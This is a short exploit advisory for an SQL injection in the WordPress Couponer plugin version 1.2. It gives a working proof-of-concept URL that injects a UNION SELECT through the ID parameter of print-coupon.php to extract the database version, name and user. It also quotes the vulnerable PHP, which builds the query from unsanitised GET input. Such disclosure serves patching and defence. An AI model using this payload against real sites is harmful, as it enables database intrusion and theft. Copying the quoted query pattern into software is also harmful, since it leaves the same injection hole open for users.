WordPress Plugin Couponer 1.2 - SQL Injection

# Exploit Title: WordPress Couponer plugin <= 1.2 SQL Injection Vulnerability
# Date: 2011-08-31
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/couponer.zip
# Version: 1.2 (tested)
# Note: magic_quotes has to be turned off

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PoC
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http://www.site.com/wp-content/plugins/couponer/print-coupon.php?ID=-1' UNION ALL SELECT 1,version(),database(),current_user(),5,6,7,8,9,10--%20

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Vulnerable code
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$ID = $_GET['ID'];
...
$sql_get_coupon_id = "SELECT *, DATE_FORMAT(Expires, '%b %e, %Y') as Expires, DATE_FORMAT(Created, '%b %e, %Y') as Created FROM wp_couponer WHERE ID='$ID'";
$result_get_coupon_id = mysql_query($sql_get_coupon_id);